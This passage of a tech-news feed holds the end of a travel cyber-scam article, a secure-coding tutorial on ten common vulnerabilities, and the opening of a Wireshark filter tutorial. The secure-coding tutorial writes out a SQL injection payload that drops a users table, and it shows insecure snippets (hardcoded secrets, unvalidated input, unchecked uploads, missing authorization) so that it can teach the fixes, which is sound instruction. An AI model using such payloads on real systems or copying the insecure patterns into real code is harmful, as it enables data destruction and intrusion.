<p>In many countries, tourists are encouraged to buy a local SIM card on arrival. You’ll find kiosks right at the airport offering prepaid plans. </p>
<p>But handing over your passport and letting someone else install a SIM? That’s a huge risk.</p>
<p>SIM swapping happens when someone gets access to your SIM credentials, transfers your number to another SIM, and then uses it to receive your two-factor authentication codes. From there, it’s a short hop to your bank accounts or email.</p>
<p>To avoid that risk:</p>
<ul>
<li><p>Don’t buy SIM cards from random kiosks or people on the street, especially if they ask for unnecessary personal info.</p>
</li>
<li><p>Set a PIN code on your SIM through your phone’s settings to prevent unauthorised access.</p>
</li>
<li><p>Turn off SMS-based two-factor authentication on important accounts and switch to app-based 2FA like Google Authenticator.</p>
</li>
</ul>
<p>A safer option is to set up an eSIM card for international travel before you leave. It’s much harder for someone to hijack an eSIM than a physical one.</p>
<h2 id="heading-atm-skimming-and-credit-card-cloning"><strong>ATM Skimming and Credit Card Cloning</strong></h2>
<p>You’re low on cash, spot an ATM, and withdraw some local currency. </p>
<p>What you don’t see is the skimming device attached to the card slot or a tiny hidden camera above the keypad.</p>
<p>Skimmers copy your card’s data and, together with your PIN, can clone your card and drain your account. This isn’t limited to ATMs, either  – some restaurants and shops use portable card readers that store data for later use.</p>
<p>Here’s how to protect yourself:</p>
<ul>
<li><p>Stick to ATMs that are inside banks or monitored locations like hotel lobbies.</p>
</li>
<li><p>Tug on the card slot gently  –  if anything feels loose or looks off, don’t use it.</p>
</li>
<li><p>Shield your hand while entering your PIN, even if you’re alone.</p>
</li>
<li><p>Use a credit card instead of a debit card when possible. Credit cards offer better fraud protection.</p>
</li>
</ul>
<p>And keep a close eye on your accounts while traveling. Set up instant alerts for transactions to catch fraud early.</p>
<h2 id="heading-phishing-emails-and-social-engineering"><strong>Phishing Emails and Social Engineering</strong></h2>
<p>It starts with a simple message: “We noticed suspicious activity on your Airbnb account. Click here to verify.” </p>
<p>The email looks legit, maybe even uses the company’s logo and styling. But it’s a trap.</p>
<p><a target="_blank" href="https://www.freecodecamp.org/news/how-to-recognize-phishing-email/">Phishing</a> is when scammers pose as trusted brands to trick you into handing over login credentials or personal information. Tourists are easy targets because they’re often in unfamiliar environments and expecting travel updates.</p>
<p>You might also be approached in person. Someone in uniform might ask for your passport “for verification” or claim there’s an issue with your hotel reservation. This kind of manipulation is called social engineering.</p>
<p>To avoid it:</p>
<ul>
<li><p>Double-check email senders. Most companies don’t ask for sensitive information through email or text.</p>
</li>
<li><p>Don’t click on suspicious links. Go directly to the company’s website or app to check your account.</p>
</li>
<li><p>Be polite but cautious with people who ask for personal documents. Always verify their identity first.</p>
</li>
<li><p>Use strong, unique passwords for each account, and enable two-factor authentication through a secure app  – not SMS.</p>
</li>
</ul>
<p>If anything feels off, trust your gut. It’s better to ask questions than to regret it later.</p>
<h2 id="heading-stay-smart-stay-safe"><strong>Stay Smart, Stay Safe</strong></h2>
<p>Cyber scams can’t ruin your trip if you don’t give them the chance. A little preparation goes a long way. Always use a VPN to hide your internet activity. Stick to secure websites. Avoid public Wi-Fi unless absolutely necessary. Use strong passwords and keep your devices updated.</p>
<p>Travel is meant to be fun, not stressful. With the right tools and a few smart habits, you can explore the world safely  – and stay connected without putting your information at risk.</p>
<p>Hope you enjoyed this article. Join the <a target="_blank" href="https://newsletter.stealthsecurity.sh/">Stealth Security newsletter</a> for more articles on cybersecurity. To learn the basics of Offensive Cybersecurity, try the <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter</a> course.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What Makes Code Vulnerable – And How to Fix It ]]>
                </title>
                <description>
                    <![CDATA[ Writing code is relatively easy. But writing secure code is much harder. The truth is, most developers don’t realize their code is vulnerable until something breaks. Or, worse, until someone attacks it. So if you want secure code, you first have to k... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-makes-code-vulnerable-and-how-to-fix-it/</link>
                <guid isPermaLink="false">680679690b7357fefc92cf6b</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Validation ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 21 Apr 2025 16:59:21 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745251285687/7ce5aca0-1edc-49e4-879d-b5690cbb64ea.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Writing code is relatively easy. But writing secure code is much harder.</p>
<p>The truth is, most developers don’t realize their code is vulnerable until something breaks. Or, worse, until someone attacks it. So if you want secure code, you first have to know what bad code looks like.</p>
<p>In this tutorial, we’ll see 10 clear signs that your code might be vulnerable to attacks. And more importantly, how to fix it.</p>
<h3 id="heading-heres-what-well-cover">Here’s what we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-hardcoded-credentials">1. Hardcoded Credentials</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-no-input-validation">2. No Input Validation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-poor-error-handling">3. Poor Error Handling</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-4-outdated-dependencies">4. Outdated Dependencies</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-5-no-authentication-or-weak-authentication">5. No Authentication or Weak Authentication</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-6-missing-authorization-checks">6. Missing Authorization Checks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-7-exposed-sensitive-data-in-urls">7. Exposed Sensitive Data in URLs</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-8-no-rate-limiting">8. No Rate Limiting</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-9-unsafe-file-uploads">9. Unsafe File Uploads</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-10-missing-https">10. Missing HTTPS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-final-thoughts">Final Thoughts</a></p>
</li>
</ul>
<h2 id="heading-1-hardcoded-credentials"><strong>1. Hardcoded Credentials</strong></h2>
<p>This one is <em>everywhere</em>. Maybe you’ve seen it yourself – an API key sitting right there in the code. A database password written in plain text.</p>
<p>It looks like this:</p>
<pre><code class="lang-plaintext">DB_PASSWORD = "supersecret123"
API_KEY = "sk_test_abc123"
</code></pre>
<p>If this code leaks (and it will), attackers can do whatever they want. They can log into your systems, steal your data, or run up huge bills on cloud services – all without breaking a sweat.</p>
<p>And here’s the scary part: this kind of leak doesn’t just happen when your whole project gets hacked. It can happen when someone pushes code to GitHub and forgets to add <code>.env</code> to <code>.gitignore</code>. Boom – your secret keys are now public.</p>
<h3 id="heading-how-to-protect-against-it"><strong>How to Protect Against It</strong></h3>
<p>Never hardcode sensitive data like API keys, database passwords, or tokens. Instead, use environment variables.</p>
<p>These are hidden from the source code and can be safely managed per environment (dev, test, production). For example, a <code>.env</code> file imported into your codebase:</p>
<pre><code class="lang-plaintext">import os
db_password = os.getenv("DB_PASSWORD")
</code></pre>
<h2 id="heading-2-no-input-validation"><strong>2. No Input Validation</strong></h2>
<p>If you trust user input, you’re already in trouble. Attackers love sending weird stuff, like super long strings, funky characters, or unexpected formats.</p>
<p>Here’s what it looks like:</p>
<pre><code class="lang-plaintext">username = request.GET['username']
print("Hello " + username)
</code></pre>
<p>Now someone enters:</p>
<pre><code class="lang-plaintext">username=Robert'); DROP TABLE users; --
</code></pre>
<p><strong>Boom.</strong> You’ve just been SQL injected. Your database table? Gone.</p>
<p>Without validation, your app can break or even be hijacked. Bad input can lead to issues like SQL injection, cross-site scripting (XSS), and general bugs.</p>
<p>Basically, you’re giving attackers a blank check.</p>
<h3 id="heading-how-to-protect-against-it-1"><strong>How to Protect Against It</strong></h3>
<p>Make sure you validate all inputs. For example:</p>
<pre><code class="lang-plaintext">import re
email = request.GET.get('email')
if not re.match(r"[^@]+@[^@]+\.[^@]+", email):
    return "Invalid email format"
</code></pre>
<p>Use parameterized queries. Never build SQL strings from raw user input:</p>
<pre><code class="lang-plaintext">cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
</code></pre>
<p>And use strict data types. Don’t just assume input is clean. Make it pass a test.Limit input length. No one needs a 5,000-character username.Escape special characters especially if you’re using input in HTML or SQL.</p>
<h2 id="heading-3-poor-error-handling"><strong>3. Poor Error Handling</strong></h2>
<p>This is what lazy error handling looks like:</p>
<pre><code class="lang-plaintext">except Exception as e:
    print(e)  # Exposes internal errors to the user
</code></pre>
<p>Or worse:</p>
<pre><code class="lang-plaintext">except:
    pass  # Silently swallows all errors
</code></pre>
<p>In the first example, the error is fully displayed to the user. The second example ignores all errors.</p>
<p>Silent errors are dangerous. And showing full error messages to users? That’s handing over a map to your system.</p>
<p>Imagine a database error pops up in production, and your app spits out something like:</p>
<pre><code class="lang-plaintext">psycopg2.OperationalError: could not connect to server: Connection refused
</code></pre>
<p>Great – now attackers know what database you’re using, and they might start poking around.</p>
<h3 id="heading-how-to-protect-against-it-2"><strong>How to Protect Against It</strong></h3>
<ul>
<li><p><strong>Log detailed errors</strong> – but do it securely. Use logging tools or services, and don’t store logs where users can see them.</p>
</li>
<li><p><strong>Show users simple messages</strong> like:<br>  <code>"Oops! Something went wrong. Please try again later."</code><br>  That’s all they need to know.</p>
</li>
<li><p><strong>Never expose stack traces in production.</strong> Turn off debug mode and use proper error pages.</p>
</li>
<li><p><strong>Handle specific exceptions</strong> where possible, so you know exactly what failed and why.</p>
</li>
</ul>
<p>Example:</p>
<pre><code class="lang-plaintext">try:
    process_data()
except ValueError as e:
    logger.error(f"Data error: {e}")
    return "Invalid input. Please check your data."
except Exception as e:
    logger.exception("Unexpected error")
    return "Something went wrong. Try again later."
</code></pre>
<p>Use error monitoring tools like Sentry, Rollbar, or LogRocket. They catch errors, track them, and help you fix them – before users even notice.</p>
<h2 id="heading-4-outdated-dependencies"><strong>4. Outdated Dependencies</strong></h2>
<p>Using old packages is like leaving your front door wide open. Attackers know exactly where the weak spots are – and they actively scan for them.</p>
<p>If your <code>package.json</code> or <code>requirements.txt</code> file hasn’t changed in years, that’s a red flag.</p>
<h3 id="heading-how-to-protect-against-it-3"><strong>How to Protect Against It</strong></h3>
<ul>
<li><p><strong>Update regularly.</strong> New versions often patch security flaws.</p>
</li>
<li><p><strong>Audit your dependencies.</strong> Use tools like <code>npm audit</code> and <code>pip-audit</code> based on your codebase.</p>
</li>
<li><p><strong>Automate updates</strong> with tools like Dependabot, Renovate, or PyUp.</p>
</li>
</ul>
<pre><code class="lang-plaintext">pip-audit
# or
npm audit
</code></pre>
<p>Even small packages can have big impacts. Stay updated, stay safe.</p>
<h2 id="heading-5-no-authentication-or-weak-authentication"><strong>5. No Authentication or Weak Authentication</strong></h2>
<p>If your app lets anyone in without verifying who they are, that’s game over. Weak logins are just as dangerous.</p>
<p>Common mistakes include:</p>
<ul>
<li><p><strong>No password complexity rules</strong> – Weak passwords like “123456” or “password” can be cracked in seconds using brute-force or dictionary attacks.</p>
</li>
<li><p><strong>Storing passwords in plain text</strong> – If your database is ever breached, all user credentials are exposed instantly, leading to massive data leaks and account takeovers.</p>
</li>
<li><p><strong>No account lockout after repeated failed logins</strong> – Without a limit on login attempts, attackers can keep guessing passwords endlessly using automated tools.</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-4"><strong>How to Protect Against It</strong></h3>
<p>First, you can hash passwords using strong algorithms like <code>bcrypt</code>.</p>
<p>Here’s an example in Python:</p>
<pre><code class="lang-plaintext">import bcrypt
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
</code></pre>
<p>You can also enforce strong password policies (min length, symbols, and so on) and use multi-factor authentication (MFA) if available for extra protection.</p>
<p>A few extra lines of code can stop a full-blown breach.</p>
<h2 id="heading-6-missing-authorization-checks"><strong>6. Missing Authorization Checks</strong></h2>
<p>Authentication checks <em>who you are</em>. Authorization checks <em>what you can do</em>. Skipping the second one is like giving everyone admin access.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">@app.route('/user/&lt;id&gt;')
def get_user(id):
    return User.query.get(id)
</code></pre>
<p>Here, there’s no check to see if the current user is allowed to view that data.</p>
<h3 id="heading-how-to-protect-against-it-5"><strong>How to Protect Against It</strong></h3>
<pre><code class="lang-plaintext">@app.route('/user/&lt;id&gt;')
@login_required
def get_user(id):
    if current_user.id != int(id):
        return "Unauthorized", 403
    return User.query.get(id)
</code></pre>
<p>In the above code, a login is required and the user is verified before giving them access to the data.</p>
<ul>
<li><p>Always verify ownership and roles before showing or modifying data.</p>
</li>
<li><p>Implement access control rules across your API and frontend.</p>
</li>
<li><p>Don’t trust IDs from the frontend – verify on the backend too.</p>
</li>
</ul>
<h2 id="heading-7-exposed-sensitive-data-in-urls"><strong>7. Exposed Sensitive Data in URLs</strong></h2>
<p>Ever seen a password reset link like this?</p>
<pre><code class="lang-plaintext">https://example.com/reset-password?token=abcd1234
</code></pre>
<p>Looks harmless – but it’s not. Tokens, session IDs, and API keys <strong>should never be in URLs</strong>. They get saved in:</p>
<ul>
<li><p>Browser history</p>
</li>
<li><p>Server logs</p>
</li>
<li><p>Analytics tools</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-6"><strong>How to Protect Against It</strong></h3>
<p>Make sure you only send sensitive data in POST requests or headers, like this:</p>
<pre><code class="lang-plaintext">POST /reset-password
Authorization: Bearer abcd1234
</code></pre>
<h2 id="heading-8-no-rate-limiting"><strong>8. No Rate Limiting</strong></h2>
<p>Rate limiting is a security technique that controls how many times a user (or system) can make a request to your server within a given time frame – for example, no more than 10 login attempts per minute.</p>
<p>Without rate limits,</p>
<ul>
<li><p>An attacker can make 1,000 login attempts in a minute</p>
</li>
<li><p>Your server may crash under fake requests</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-7"><strong>How to Protect Against It</strong></h3>
<p>Set a max request limit per IP or user. You can use tools like Cloudflare or inbuilt tools in programming languages to do this. For example, in Python, we can use flask_limiter.</p>
<pre><code class="lang-plaintext">from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route("/login")
@limiter.limit("5 per minute")
def login():
    # login logic
</code></pre>
<p>In the above code, the login attempts are limited to 5 per minute. Stop abuse before it starts.</p>
<h2 id="heading-9-unsafe-file-uploads"><strong>9. Unsafe File Uploads</strong></h2>
<p>Letting users upload files? Cool. But if you’re not careful, they can:</p>
<ul>
<li><p>Upload malware</p>
</li>
<li><p>Overwrite key files</p>
</li>
<li><p>Execute scripts on your server</p>
</li>
</ul>
<p>Here’s an example of a common mistake:</p>
<pre><code class="lang-plaintext">file. Save(f"/uploads/{file.filename}")
</code></pre>
<p>Any type of file could be uploaded this way.</p>
<h3 id="heading-how-to-protect-against-it-8"><strong>How to Protect Against It</strong></h3>
<p>To start, you can rename files before saving:</p>
<pre><code class="lang-plaintext">pythonCopyEditimport uuid
filename = str(uuid.uuid4()) + ".jpg"
</code></pre>
<p>You can check content type (not just file extension):</p>
<pre><code class="lang-plaintext">pythonCopyEditif file.content_type not in ["image/jpeg", "image/png"]:
    return "Invalid file type"
</code></pre>
<p>You also can store files outside public directory, and finally limit file size in your server config and backend code</p>
<h2 id="heading-10-missing-https"><strong>10. Missing HTTPS</strong></h2>
<p>If your app still uses plain old HTTP, all data travels in the open – including:</p>
<ul>
<li><p>Passwords</p>
</li>
<li><p>Tokens</p>
</li>
<li><p>Personal info</p>
</li>
</ul>
<p>Attackers can sniff it all with tools like <a target="_blank" href="https://www.freecodecamp.org/news/learn-wireshark-computer-networking/">Wireshark</a>.</p>
<h3 id="heading-how-to-protect-against-it-9"><strong>How to Protect Against It</strong></h3>
<p>To start, you can use HTTPS everywhere and get a free SSL cert from <a target="_blank" href="https://letsencrypt.org/">Let’s Encrypt</a>.</p>
<p>You can also redirect insecure traffic – here’s how you’d do it in Flask, for example:</p>
<pre><code class="lang-plaintext">@app.before_request
def before_request():
    if not request.is_secure:
        return redirect(request.url.replace("http://", "https://"))
</code></pre>
<p>Encrypting traffic is not optional – it’s table stakes for modern apps.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Writing secure code isn’t about being perfect. It’s about being careful. Slow down. Look at your code with fresh eyes. Think like an attacker. Plan for failure before it happens.</p>
<p>The best security isn’t patched in later – it’s baked in from the start.</p>
<p>For more cybersecurity tutorials, <a target="_blank" href="https://newsletter.stealthsecurity.sh/">join my newsletter</a>. New to cybersecurity? Check out my <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter Course</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Wireshark Filters to Analyze Your Network Traffic ]]>
                </title>
                <description>
                    <![CDATA[ Wireshark is an open-source tool widely regarded as the gold standard for network packet analysis. It allows you to capture live network traffic or inspect pre-recorded capture files, breaking down the data into individual packets for detailed examin... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/use-wireshark-filters-to-analyze-network-traffic/</link>
                <guid isPermaLink="false">67ee83d004f007db33e0f920</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Wireshark ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Hang Hu ]]>
                </dc:creator>
                <pubDate>Thu, 03 Apr 2025 12:49:20 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743684532493/cc26aa99-fc7a-4b47-ab16-60dac77561fd.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Wireshark is an open-source tool widely regarded as the gold standard for network packet analysis. It allows you to capture live network traffic or inspect pre-recorded capture files, breaking down the data into individual packets for detailed examination.</p>
<p>You can use Wireshark in scenarios like troubleshooting network performance issues (for example, slow connections or dropped packets), investigating suspicious activity (like detecting malware or unauthorized access), or learning how protocols like HTTP, TCP, or DNS function in real-world environments.</p>
<p>For beginners, think of it as a window into the invisible world of network communication, revealing what’s happening behind the scenes when you browse the web, send an email, or stream a video. Its power lies in its ability to provide granular insights, making it an indispensable tool for network administrators, cybersecurity enthusiasts, and anyone curious about how networks operate.</p>
<p>In this tutorial, you will learn how to use Wireshark display filters to analyze network traffic and spot potential security threats. Wireshark is a powerful network protocol analyzer that can capture and dissect network packets, which is crucial for cybersecurity professionals.</p>
<h3 id="heading-heres-what-well-cover">Here’s what we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-how-to-start-wireshark-and-analyze-network-traffic">How to Start Wireshark and Analyze Network Traffic</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-work-with-network-capture-files">How to Work with Network Capture Files</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-understanding-the-wireshark-interface">Understanding the Wireshark Interface</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-understanding-and-applying-basic-display-filters">Understanding and Applying Basic Display Filters</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-advanced-filtering-techniques">Advanced Filtering Techniques</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-analyzing-security-related-traffic">Analyzing Security-Related Traffic</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-analyzing-sample-traffic-and-generating-new-traffic">Analyzing Sample Traffic and Generating New Traffic</a></p>
</li>
</ul>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<p>Before we start, you'll need to know <strong>Linux Basic Syntax.</strong> You can learn it through this <a target="_blank" href="https://labex.io/skilltrees/linux">Linux Skill Tree</a>.</p>
<p>Don't worry if you're new to <a target="_blank" href="https://labex.io/skilltrees/wireshark"><strong>Wireshark</strong></a> – I’ll explain everything as we go.</p>
<h2 id="heading-how-to-start-wireshark-and-analyze-network-traffic"><strong>How to Start Wireshark and Analyze Network Traffic</strong></h2>
<p>In this step, we're going to start using Wireshark. First, you'll learn how to launch it. Then, you'll either capture network traffic or use a provided sample file for analysis. Understanding the Wireshark interface is crucial, as it helps you view and analyze packet data.</p>
<h3 id="heading-installing-wireshark-on-ubuntu-2204">Installing Wireshark on Ubuntu 22.04</h3>
<p>Before you can start using Wireshark, you need to install it. Open a terminal window and run the following commands:</p>
<pre><code class="lang-bash">sudo apt update
sudo apt install wireshark -y
</code></pre>
<h3 id="heading-launching-wireshark"><strong>Launching Wireshark</strong></h3>
<p>To start Wireshark, you need to open a terminal window. You can do this by clicking on the terminal icon in the taskbar or by pressing <code>Ctrl+Alt+T</code>. Once the terminal is open, you'll use a command to start Wireshark. In the terminal, type the following command and press Enter:</p>
<pre><code class="lang-bash">wireshark
</code></pre>
<p>This command tells your system to start the Wireshark application. After a few seconds, Wireshark will open. You should see a window similar to the one shown below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385586635/78f76c20-c8d0-48d2-bdb7-17ff3f5fc261.png" alt="Wireshark Main Interface Example" class="image--center mx-auto" width="1666" height="678" loading="lazy"></p>
<h2 id="heading-how-to-work-with-network-capture-files"><strong>How to Work with Network Capture Files</strong></h2>
<p>For this part of the tutorial, you have two options:</p>
<h3 id="heading-option-1-use-the-provided-sample-file"><strong>Option 1: Use the Provided Sample File</strong></h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Download a sample packet capture file with mixed traffic</span>
wget -q https://s3.amazonaws.com/tcpreplay-pcap-files/smallFlows.pcap -O /home/labex/project/sample.pcapng

<span class="hljs-comment"># Make sure the user has access to the file</span>
chmod 644 /home/labex/project/sample.pcapng
</code></pre>
<p>I’ve prepared a sample capture file for you at <code>/home/labex/project/sample.pcapng</code>. This file contains a variety of network traffic that you can analyze.</p>
<p>To open this file:</p>
<ol>
<li><p>In Wireshark, go to File &gt; Open</p>
</li>
<li><p>Navigate to <code>/home/labex/project/sample.pcapng</code></p>
</li>
<li><p>Click "Open"</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385612148/dbeb3d39-db15-4363-a499-e8b527b43d84.png" alt="Wireshark Open File Screenshot" class="image--center mx-auto" width="2606" height="2036" loading="lazy"></p>
<p>The file will load in Wireshark, showing various packets that have been captured previously.</p>
<h3 id="heading-option-2-capture-your-own-traffic"><strong>Option 2: Capture Your Own Traffic</strong></h3>
<p>If you prefer to capture your own traffic:</p>
<ol>
<li><p>In the Wireshark main window, look for the list of available network interfaces.</p>
</li>
<li><p>Find the <code>eth1</code> interface. In this lab environment, <code>eth1</code> is the main network interface we'll use for capturing packets.</p>
</li>
<li><p>Double-click on <code>eth1</code>. This action immediately starts the packet capture process.</p>
</li>
<li><p>Generate some network traffic by opening a new terminal and running:</p>
<pre><code class="lang-bash"> curl www.google.com
</code></pre>
</li>
<li><p>Once you've captured enough packets (aim for at least 20-30 packets), click the red square "Stop" button in the Wireshark toolbar.</p>
</li>
</ol>
<h2 id="heading-understanding-the-wireshark-interface"><strong>Understanding the Wireshark Interface</strong></h2>
<p>The Wireshark interface is divided into three main panels, each with a specific purpose:</p>
<ol>
<li><p><strong>Packet List (top panel)</strong>: This panel shows all the packets that have been captured in the order they were received. It gives you a quick overview of the captured traffic.</p>
</li>
<li><p><strong>Packet Details (middle panel)</strong>: When you select a packet in the top panel, this middle panel shows the details of that packet in a hierarchical format. It breaks down the packet's structure, showing information like the source and destination IP addresses, protocol types, and more.</p>
</li>
<li><p><strong>Packet Bytes (bottom panel)</strong>: This panel displays the raw bytes of the selected packet in hexadecimal format. It's useful for in-depth analysis, especially when you need to look at the exact data being transmitted.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743386808927/2225da6c-a652-4886-bd7d-f3c94586c688.jpeg" alt="Wireshark Interface" class="image--center mx-auto" width="1726" height="1312" loading="lazy"></p>
<p>To see how these panels work together, click on different packets in the top panel. You'll see the corresponding details and raw bytes update in the middle and bottom panels.</p>
<h2 id="heading-understanding-and-applying-basic-display-filters"><strong>Understanding and Applying Basic Display Filters</strong></h2>
<p>In this step, we're going to explore display filters in Wireshark. Display filters are essential tools when it comes to analyzing network traffic. They help you focus on specific types of packets instead of having to sift through all the captured data.</p>
<p>By the end of this section, you'll know what display filters are, why they're useful, and how to apply basic ones to isolate specific types of network traffic.</p>
<h3 id="heading-what-are-display-filters"><strong>What Are Display Filters?</strong></h3>
<p>When you're analyzing network traffic, looking at every single captured packet can be overwhelming. You usually want to focus on specific types of packets. That's where Wireshark display filters come in. They allow you to show only the packets that meet certain criteria. This makes the analysis process much more efficient because you're not wasting time on irrelevant data.</p>
<p>Display filters in Wireshark use a special syntax. This syntax enables you to filter packets based on various attributes such as protocols, IP addresses, ports, and even the content of the packets. Understanding this syntax is key to effectively using display filters.</p>
<h3 id="heading-filter-toolbar"><strong>Filter Toolbar</strong></h3>
<p>Take a look at the top of the Wireshark window. You'll notice a text field. It might be labeled "Apply a display filter..." or simply show "Expression...". This is the place where you'll enter your display filters. Once you enter a filter and press Enter, Wireshark will use that filter to show only the relevant packets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385642595/018e9680-1c29-4168-9d60-975464722447.png" alt="Wireshark Filter Toolbar Location" class="image--center mx-auto" width="1666" height="634" loading="lazy"></p>
<h3 id="heading-basic-protocol-filters"><strong>Basic Protocol Filters</strong></h3>
<p>Let's start with a simple example. Suppose you want to view only HTTP traffic. HTTP is the protocol used for web browsing. To do this, you'll enter a filter in the filter toolbar. Type the following filter and then press Enter:</p>
<pre><code class="lang-plaintext">http
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385678124/1dff7e49-13c5-439e-aeca-82b461b8727b.png" alt="Wireshark HTTP Filter Output" class="image--center mx-auto" width="2602" height="1192" loading="lazy"></p>
<p>After you apply this filter, Wireshark will only display HTTP packets. All other packets will be temporarily hidden. You'll notice that the filter bar turns green when you apply a valid filter. This is a visual indication that your filter is working correctly.</p>
<p>The output should now show only packets related to HTTP traffic. This typically includes web requests (when you ask a website for information) and responses (when the website sends you the information). If you don't see any HTTP traffic in the sample file, you can try different protocols that might be present, such as TCP, UDP, or DNS:</p>
<pre><code class="lang-plaintext">tcp
</code></pre>
<p>Or try generating more HTTP traffic by running the <code>curl</code> command in a terminal:</p>
<pre><code class="lang-bash">curl www.google.com
</code></pre>
<h3 id="heading-ip-address-filters"><strong>IP Address Filters</strong></h3>
<p>Next, let's filter traffic based on IP addresses. An IP address is like a unique identifier for a device on a network. First, look at your packet list. You'll see columns labeled "Source" and "Destination". These columns show the IP addresses of the devices sending and receiving the packets.</p>
<p>Once you've identified an IP address that appears frequently in your capture (for example, let's say you see <code>192.168.1.1</code>), you can use it to create a filter. Type the following filter in the filter toolbar to see only packets from that source:</p>
<pre><code class="lang-plaintext">ip.src == 192.168.3.131
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385707141/8719b584-9498-4ecb-bf67-d354906626e0.png" alt="Wireshark IP Address Filter Example" class="image--center mx-auto" width="2602" height="1176" loading="lazy"></p>
<p>You can replace <code>192.168.3.131</code> with an IP address that you actually see in your capture. After applying this filter, only packets with that source IP address will be shown.</p>
<p>If you want to see all the packets again, you can clear the current filter. Just click the "Clear" button (X) on the right side of the filter bar.</p>
<h3 id="heading-port-filters"><strong>Port Filters</strong></h3>
<p>Many network services operate on specific ports. A port is like a door on a device that allows specific types of network traffic to enter or leave. For example, HTTP typically uses port 80.</p>
<p>To filter packets by port number, you can use the following filter:</p>
<pre><code class="lang-plaintext">tcp.port == 80
</code></pre>
<p>This filter will show both incoming and outgoing packets that use TCP port 80. You might also try other common ports like 443 (HTTPS) or 53 (DNS) depending on what's available in your capture.</p>
<h3 id="heading-combining-filters"><strong>Combining Filters</strong></h3>
<p>You can make your filters more powerful by combining them using logical operators like <code>and</code> and <code>or</code>. For example, if you want to show only HTTP traffic that uses port 80, you can use the following filter:</p>
<pre><code class="lang-plaintext">http and tcp.port == 80
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743385736030/8230d965-e822-4341-afa5-35239fbb6975.png" alt="Example of combined filter in Wireshark" class="image--center mx-auto" width="2608" height="1156" loading="lazy"></p>
<p>Try applying different combinations of filters and observe how the displayed packets change. Remember, before trying a new filter, you can either clear the previous one by clicking the "Clear" button or modify the existing filter directly in the filter bar to build upon it.</p>
<h2 id="heading-advanced-filtering-techniques"><strong>Advanced Filtering Techniques</strong></h2>
<p>In this part, we'll explore how to create more sophisticated filters for detailed network traffic analysis. As a beginner, you might wonder why we need advanced filtering. Well, in real-world scenarios, network capture files can be extremely large, filled with all kinds of traffic. Advanced filtering techniques are like a powerful magnifying glass for security professionals. They help us quickly pick out the suspicious or important traffic from the sea of data in these large capture files.</p>
<h3 id="heading-complex-filters-with-multiple-conditions"><strong>Complex Filters with Multiple Conditions</strong></h3>
<p>Wireshark gives you the ability to build complex filters by combining multiple conditions. This is very useful when you want to be more precise in your traffic analysis. Let's start by creating a filter to find HTTP GET requests.</p>
<pre><code class="lang-plaintext">http.request.method == "GET"
</code></pre>
<p>This filter is designed to display only HTTP packets that contain GET requests. When you apply this filter, you'll see packets that are requests sent to web servers. The reason we use this filter is that GET requests are a common type of HTTP request used to retrieve data from a server. By isolating these requests, we can focus on the data retrieval activities in the network.</p>
<p>If your sample file doesn't contain HTTP GET requests, try this alternative filter to find TCP SYN packets which indicate connection attempts:</p>
<pre><code class="lang-plaintext">tcp.flags.syn == 1
</code></pre>
<p>Now, let's make our filter more specific. We'll add a port condition:</p>
<pre><code class="lang-plaintext">tcp.port == 80 and http.request.method == "GET"
</code></pre>
